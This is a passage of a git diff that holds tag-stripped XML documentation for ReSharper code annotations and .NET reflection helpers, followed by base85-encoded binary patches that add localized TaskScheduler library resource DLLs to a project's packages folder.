+ + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..1b6be30b8e6de40c0f0125ea496cca88b4ee31c6 GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..fb7bcc0b433ff1331c5ebf3430dd8331e61711dd GIT binary patch literal 10240 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 urqj-}Zhy9&Bk?Ms_w@Q{XH1OZL`xkNm literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..711e05944fbdcbe5424ce09b0a622c359a9b4273 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..f68d6118133f2351965578f5d72fadeef716ad6d GIT binary patch literal 10240 zcmeHMeRLGpb$2l#iCsaBUHdzNgyeb3_=njJ`ge59j(U9&MY&t zLK4VU+S)x3e-Q}axTS7_9Ye8?kKIsgnwUUB{q1s$+r|fMPTa=f7#rJ^#!h0>-+i;Q zAJQUo+S9+{C%xJCalhWZ_uV&hU-Rt`vayV@ai~|WFm?pLRI0>t^v4jUvu=DYi~YmI zR|}6wO|KTV^{5t)m`2Ey!#p7Cx?%G!g_}{Gt2(b;*~-I4Q1MKea$RwZ^s42IHA!RH zjs@W!m)kiurf`xpiLnBVT<45_u^7J`wF;H7siHl`k(&lceo=<-#P~0tVOUqy-2_Vi ziQib4hEVo{ZU;507|R<^jbUX2W0QvsT~n7cHX#Xc0{ZnyeUGj5+31g(fd}TqS|N9G z;f!tYn3fs9ppdN!4I(-lHK|lVdXK4S1^|Vu8!$<<=AtH*D#oglx}tfG^ol~VjbRz= zsdC2t3(A}*Mj87T&e*wZ##Z5XC^k0Q&%)~MS=BEeY`=2%lYCX7Ub5^~18$4X@W8nK%8jCCA=qteolF!}h-4==WV*vEj&b54>Bog5BA5@BKsD zzQ1kU`tSVU;WLo+wU;jbRDzH@P_@>6%T~gk)rw_A&46OXTdNg0sF)=@Yy}KcQ@cv| z8pX6!Ltk3%DW$&>UK7>qsHrT~m8fmXS_xkj?b6ghqtf4IY*h56U5ggU3j+&p@h&ba zS4t}u7mZ{V)onGbxZGP6o9t2-)8Hz9E&Wg5z372lRCe_J2iHCD^PLC&+JAZ4Zy(J$x&2_JQUAoQ*1bxpKVe z%;3*|@Yb@E+1&Tq&yJP7HucekuRZkQqo*G~u;b0j9T(mlxVQLM6N>`p*RQ$oQR59S zUCQ6wa{114edC{7zj(@}`~N!Y`*~-l?vBpM*>q`N?#ajB&ae2^*Jdn6twarU*UebB z_2`U6jjtEv-SyuEQ`Wvx*w%W!=trIHobN?w_DN33zpYn~Pe9_D)m_uzL{) zj-lNPCz?g}LirrZ?=G z_Ok%9naT{NW8wWQ!W346UKm?i##oSP7%_ngV(EaFvpxU>SQKOwmJhJG>A+esNz|5u zvJ8G2TL92`=|OuSz-HDA6bpYc3!zm7aGp-GWD@NF%Bf{55tIF3p|M(E_k+d;Oynkb zC*wq%DH6^RlGdSPMG7z(yJb06Z$coGbwWcXWDf~}Oss{FssY$7<`odI!O+BWD^PP> z-6XR+kBQm!Leo8h5iyMjEE#yj=M#X;XaXY(10$y|V>+)Hi~MG6k}7zfZztsptl63NtVC4Xvz^cLF)Ws@f481q#^SENW1 zLndPoO&8cv73sQGtW;)QLe?P8b1Y#bSPSSXq6XO-fE0`bSq%UgCh2FL0O08WqR^BM zhB{d>Jy1I)H=@$Y0qn3!w!0t0{j42prk$|`0C}nEs|KzC{d?JcBe83+1~M$|F)!N> zfElUSIv`Z4|dXwyD+8q-*2vT(H^Z-RomsY}@h0Gc~G&}~B8QuYNvORo*o@eOkI 